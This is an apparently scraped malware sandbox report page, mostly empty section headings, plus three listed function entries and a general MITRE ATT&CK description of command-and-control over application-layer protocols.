
URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Function 00C6E5D9, Relevance: 1.1, Instructions: 1133
COMMONCrypto

Function 00C70392, Relevance: 1.1, Instructions: 1059
COMMONCrypto

Function 00419E10, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36
filenativeCOMMON

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre